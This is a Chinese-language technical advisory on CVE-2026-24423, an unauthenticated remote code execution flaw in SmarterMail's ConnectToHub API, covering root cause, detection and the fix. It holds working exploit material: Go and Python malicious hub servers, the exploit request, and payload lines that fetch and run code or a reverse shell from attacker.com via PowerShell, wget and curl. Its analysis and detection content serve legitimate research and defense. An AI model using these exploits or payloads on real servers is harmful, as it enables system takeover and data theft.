执行摘要
SmarterTools SmarterMail 在其 ConnectToHub API 功能中发现了一个严重的远程代码执行漏洞。该漏洞被分配为 CVE-2026-24423,CVSS v4 评分为 9.3(严重)。
攻击者可以通过构造恶意的 HTTP 服务器,配合 SmarterMail 的 ConnectToHub 功能,在未经身份验证的情况下实现远程代码执行。该漏洞源于以下关键安全缺陷:
- 缺少身份验证:ConnectToHub API 端点允许匿名访问
- 服务器端请求伪造 (SSRF):应用接受外部 URL 并主动请求
- 命令注入:从外部服务器获取的命令直接在系统级别执行
关键信息
| 属性 |
值 |
| CVE 编号 |
CVE-2026-24423 |
| CVSS v4 评分 |
9.3 (严重) |
| CVSS 向量 |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE |
CWE-306 (关键功能缺少身份验证) |
| 披露日期 |
2026年1月23日 |
| 修复版本 |
SmarterMail Build 9511 (100.0.9511) |
漏洞概述
漏洞描述
SmarterMail 的 ConnectToHub 功能用于将邮件服务器节点连接到管理中心(Hub)。该功能通过一个 API 端点 /api/v1/settings/sysadmin/connect-to-hub 实现,用于配置服务器的挂载路径。
漏洞的核心问题在于:
- 该 API 端点不需要身份验证(标记为
AllowAnonymous)
- 接受
hubAddress 参数,向攻击者控制的服务器发起请求
- 解析服务器返回的 JSON 响应中的
CommandMount 参数
- 将该命令直接传递给系统 shell 执行
漏洞影响
- 未经身份验证的远程代码执行:攻击者无需任何凭据即可利用此漏洞
- 系统级别权限:在 Windows 上以 SYSTEM 权限执行,在 Linux 上可使用 sudo
- 完全服务器控制:攻击者可以执行任意命令,包括:
- 部署恶意软件或勒索软件
- 窃取敏感邮件数据
- 创建后门以持久化访问
- 利用服务器攻击其他组织
受影响版本
| 产品 |
受影响版本 |
修复版本 |
| SmarterTools SmarterMail |
< 100.0.9511 (Build < 9511) |
100.0.9511 (Build 9511) |
版本检测方法
未经身份验证的版本检测端点:
1
2
| GET /api/v1/licensing/about HTTP/1.1
Host: target-server
|
响应中包含版本信息,可用于判断是否为易受攻击的版本。
漏洞根本原因分析
1. 缺少身份验证
ConnectToHub API 端点在 MailService.dll 中定义,使用了 AllowAnonymous 属性:
1
2
3
4
5
6
7
8
9
10
| [AuthenticatedService(AllowAnonymous = true)]
[HttpPost]
[Route("connect-to-hub")]
public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
{
AdministrativeLog.Log("Connecting to hub", LogLevels.Normal, base.HttpContext);
ConnectToHubResult connectToHubResult = await SystemSettingsService.ConnectToHub(input);
connectToHubResult.machineName = HAClusterConfig.Instance.LocalName;
return base.CreateResponseMessage(connectToHubResult);
}
|
这是一个关键的安全缺陷,因为连接到 Hub 的操作应该是高度敏感的管理功能。
2. 服务器端请求伪造 (SSRF)
API 接受用户提供的 hubAddress 参数,并向该地址发起 HTTP POST 请求:
1
2
3
4
| string text2 = input.hubAddress.TrimEnd('/');
string text3 = text2 + "/web/api/node-management/setup-initial-connection";
Console.WriteLine("Connecting to hub with full URL: " + text3 + " with parameters:\r\n" + text);
HttpResponseMessage httpResponseMessage = await client.PostAsync(new Uri(text3), new StringContent(text, Encoding.UTF8, "application/json"));
|
3. 不安全的反序列化和命令注入
从外部服务器获取的 JSON 响应被反序列化,其中的 SystemMount 对象包含 CommandMount 参数:
1
2
| SystemSettingsService.InitialConnectionResult decodedObject =
JsonConvert.DeserializeObject<SystemSettingsService.InitialConnectionResult>(text4);
|
然后,该对象直接传递给挂载配置:
1
2
3
4
5
6
7
8
| if (!(await MountConfiguration.Mount(decodedObject.SystemMount, true)).success)
{
return new ConnectToHubResult
{
message = "Failed to mount system mount point",
success = false
};
}
|
攻击流程
详细攻击步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐
│ 攻击者 │────────▶│ SmarterMail │────────▶│ 攻击者的HTTP │
│ (Attacker) │ ① POST │ Server │ ② POST │ 服务器 │
└─────────────┘ └──────────────┘ └─────────────────┘
│
③ 返回恶意命令 │
┌──────────────────────────────┘
│
▼
┌──────────────┐
│ SmarterMail │
│ Server │
└──────────────┘
│
│ ④ 执行命令
▼
┌──────────────┐
│ 命令执行 │
│ (cmd/bash) │
└──────────────┘
|
步骤详解
- 攻击者发送恶意请求:
1
2
3
4
5
6
7
8
9
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: smartermail-server:9998
Content-Type: application/json
{
"hubAddress": "http://attacker-server:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
- SmarterMail 向攻击者服务器发起请求:
1
2
3
4
5
6
7
8
9
| POST /web/api/node-management/setup-initial-connection HTTP/1.1
Host: attacker-server:8082
Content-Type: application/json
{
"hubAddress": "http://attacker-server:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
- 攻击者服务器返回包含恶意命令的响应:
1
2
3
4
5
6
7
8
9
10
11
12
13
| {
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "any-value",
"TargetHubs": {"a": "b"},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "/any/path",
"CommandMount": "malicious_command_here"
},
"SystemAdminUsernames": ["admin"]
}
|
- SmarterMail 执行恶意命令
漏洞代码分析
代码流程图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| ConnectToHub() [AllowAnonymous]
│
▼
SystemSettingsService.ConnectToHub(input)
│
├─ 构造请求到 hubAddress
│
├─ 发起 HTTP POST 请求
│
├─ 反序列化 JSON 响应
│
└─ MountConfiguration.Mount(decodedObject.SystemMount, true)
│
▼
MountConfiguration.Mount()
│
├─ 检查挂载状态
│
├─ 调用 RunCommand(mount.CommandMount)
│
▼
CommandLine.RunCommand(command)
│
├─ 构造 ProcessStartInfo
│ ├─ FileName: cmd.exe (Windows) 或 /bin/bash (Linux)
│ └─ Arguments: /c command (Windows) 或 -c "command" (Linux)
│
▼
Process.Start()
│
▼
命令执行 ✓
|
关键代码片段
1. MountConfiguration.Mount()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
{
// ... 挂载状态检查 ...
MountConfiguration.MountInfo[mount.MountPath] = mount;
// 检查 CommandMount 参数
if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
{
await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
}
// ... 返回成功 ...
}
|
2. MountConfiguration.RunCommand()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| private static async Task RunCommand(string path, string command, bool includeArgs)
{
if (!string.IsNullOrWhiteSpace(command))
{
// 如果需要参数,构造完整的命令字符串
if (includeArgs)
{
HANodeConfig currentNodeConfig = HAClusterConfig.Instance.CurrentNodeConfig;
string text = currentNodeConfig?.GetUserData<HANodeConfig>()
?.Get<string>(HANodeConfig.PreviousRunningNode)
?? currentNodeConfig?.PrimaryServer
?? "";
string text2 = HAClusterConfig.Instance.LocalName
?? Environment.MachineName;
string text3 = currentNodeConfig?.PrimaryServer ?? "local";
if (path.Contains(' '))
{
path = "\"" + path + "\"";
}
// 构造命令字符串
command = $"{command} {text2} {text3} {text} {path}";
}
// 执行命令
ValueTuple<string, bool, string> valueTuple =
await CommandLine.RunCommand(FileManager.ApplicationDataPath, command, false,
new Action<string>(MountConfiguration.<RunCommand>g__ProcessCommandOutput|23_0));
}
}
|
3. CommandLine.RunCommand()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| public static async Task<ValueTuple<string, bool, string>> RunCommand(
string currentDir, string command, bool sudo = false, Action<string> processOutputLine = null)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
// 根据操作系统选择 shell
FileName = (OperatingSystem.IsWindows() ? "cmd.exe" : "/bin/bash"),
// 构造命令参数
Arguments = (OperatingSystem.IsWindows()
? ("/c " + command)
: ("-c \"" + (sudo ? "sudo " : "") + command + "\"")),
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
WorkingDirectory = currentDir
};
using (Process process = new Process { StartInfo = processStartInfo })
{
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
await process.WaitForExitAsync(default(CancellationToken));
return new ValueTuple<string, bool, string>(
resultSb.ToString(),
process.ExitCode == 0,
ranCmd
);
}
}
|
安全问题总结
- 未经验证的输入:
hubAddress 参数未经验证就用于外部请求
- 不安全的反序列化:来自外部服务器的 JSON 被直接反序列化并使用
- 命令注入:
CommandMount 参数直接传递给系统 shell
- 缺少身份验证:整个 API 端点可匿名访问
- 缺少输入清理:命令参数未经过任何清理或白名单验证
漏洞利用示例
攻击者 HTTP 服务器代码 (Go)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| package main
import (
"fmt"
"log"
"net/http"
)
func initHandler(w http.ResponseWriter, r *http.Request) {
fmt.Println("[-] Victim connected to our malicious server")
// 返回包含恶意命令的 JSON 响应
// Windows 示例: 创建文件
response := `{
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "attacker-controlled",
"TargetHubs": {"a": "b"},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "/tmp/mount",
"CommandMount": "dir > C:\\\\pwned.txt"
},
"SystemAdminUsernames": ["admin"]
}`
fmt.Fprint(w, response)
fmt.Println("[-] Sent malicious command payload")
}
func main() {
http.HandleFunc("/web/api/node-management/setup-initial-connection", initHandler)
fmt.Println("[+] Malicious server listening on :8082")
log.Fatal(http.ListenAndServe(":8082", nil))
}
|
攻击者 HTTP 服务器代码 (Python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/web/api/node-management/setup-initial-connection', methods=['POST'])
def setup_initial_connection():
print("[-] Victim connected!")
# 恶意响应
response = {
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "attacker-controlled",
"TargetHubs": {"a": "b"},
"IsStandby": False,
"SystemMount": {
"Enabled": True,
"ReadOnly": False,
"MountPath": "/tmp/mount",
"CommandMount": "dir > C:\\\\pwned.txt" # Windows
# "CommandMount": "whoami > /tmp/pwned.txt" # Linux
},
"SystemAdminUsernames": ["admin"]
}
print("[-] Sent malicious payload")
return jsonify(response)
if __name__ == '__main__':
print("[+] Malicious server listening on :8082")
app.run(host='0.0.0.0', port=8082)
|
利用请求示例
1
2
3
4
5
6
7
8
9
10
11
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: vulnerable-smartermail.example.com:9998
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 112
{
"hubAddress": "http://attacker-server.example.com:8082",
"oneTimePassword": "any-value",
"nodeName": "victim-node"
}
|
恶意命令示例
Windows 平台
1
2
3
| "CommandMount": "dir > C:\\\\pwned.txt"
"CommandMount": "whoami > C:\\\\whoami.txt"
"CommandMount": "powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile 'C:\\\\payload.exe'; Start-Process 'C:\\\\payload.exe'\""
|
Linux 平台
1
2
3
| "CommandMount": "whoami > /tmp/pwned.txt"
"CommandMount": "wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
"CommandMount": "curl http://attacker.com/reverse_shell.py | python3"
|
检测方法
1. 主动扫描
检测易受攻击的版本:
1
2
3
4
5
6
7
| # 获取版本信息
curl -X GET "http://target-server/api/v1/licensing/about"
# 尝试访问漏洞端点
curl -X POST "http://target-server/api/v1/settings/sysadmin/connect-to-hub" \
-H "Content-Type: application/json" \
-d '{"hubAddress":"http://localhost:8082","oneTimePassword":"test","nodeName":"test"}'
|
2. 日志监控
监控以下指标:
| 检测项 |
说明 |
| 端点访问 |
/api/v1/settings/sysadmin/connect-to-hub 的访问日志 |
| 出站连接 |
SmarterMail 服务器向不明 IP 的 HTTP 连接 |
| 进程执行 |
cmd.exe 或 /bin/bash 以异常参数启动 |
| 文件变化 |
系统目录中出现可疑文件 |
3. 网络流量检测
1
2
3
4
5
6
| # 正常流量模式
SmarterMail → 内部 Hub 服务器
# 恶意流量模式
SmarterMail → 外部 IP (攻击者控制的服务器)
→ 返回包含 CommandMount 的 JSON
|
4. 已修复版本响应
在已修复的版本 (Build 9511) 中:
- 端点将返回 HTTP 400 状态码
- 返回错误消息而不是执行命令
时间线
| 日期 |
事件 |
| 2019-04-17 |
早期类似漏洞 (CVE-2019-7214) 被披露,影响 Build < 6985 |
| 2025 年底 |
多位独立安全研究者发现 ConnectToHub 漏洞 |
| 2026-01-15 |
SmarterTools 发布修复版本 Build 9511 |
| 2026-01-23 |
VulnCheck 发布公开漏洞通告 |
| 2026-01-26 |
CISA 将该漏洞纳入每周漏洞摘要 |
| 2026-01-28 |
多个安全研究团队发布详细技术分析 |
附录
A. HTTP 请求/响应示例
恶意请求
1
2
3
4
5
6
7
8
9
10
11
12
| POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: 192.168.1.100:9998
User-Agent: python-requests/2.31.0
Accept: */*
Content-Type: application/json
Content-Length: 121
{
"hubAddress": "http://10.0.1.10:8082",
"oneTimePassword": "test",
"nodeName": "victim"
}
|
恶意服务器响应
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 287
{
"ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret": "pwned",
"TargetHubs": {
"primary": "hub.internal"
},
"IsStandby": false,
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "C:\\SmarterMail\\Mount",
"CommandMount": "dir > C:\\SmarterMail\\pwned.txt"
},
"SystemAdminUsernames": ["admin"]
}
|
B. 相关 CVE
| CVE |
描述 |
状态 |
| CVE-2019-7214 |
.NET 反序列化 RCE (Build < 6985) |
已修复 |
| CVE-2026-24423 |
ConnectToHub 未认证 RCE (Build < 9511) |
已修复 |
结论
CVE-2026-24423 是一个严重的远程代码执行漏洞,影响 SmarterMail Build 9511 之前的所有版本。该漏洞允许未经身份验证的攻击者通过构造恶意的 HTTP 服务器,在目标系统上执行任意命令。
关键要点
- 立即升级:所有用户应立即升级到 Build 9511 或更高版本
- 检测入侵:检查日志以确定是否已被利用
- 实施缓解措施:如果无法立即升级,实施网络层防护
- 长期安全:审查整体安全配置,加强监控
免责声明
本文档仅用于安全研究和防御目的。未经授权利用此漏洞是非法的。请负责任地披露漏洞,并遵守所有适用的法律法规。
参考文献
- VulnCheck Advisory - CVE-2026-24423
- VulnCheck Blog - Street Smarts: SmarterMail ConnectToHub
- Rapid7 Exploit Database - SmarterMail RCE
- CISA Vulnerability Summary - Week of January 19, 2026
- DataCorps - SmarterMail Flaw Enables Dangerous RCE
- CODE WHITE Vulnerability List
- SmarterMail Release Notes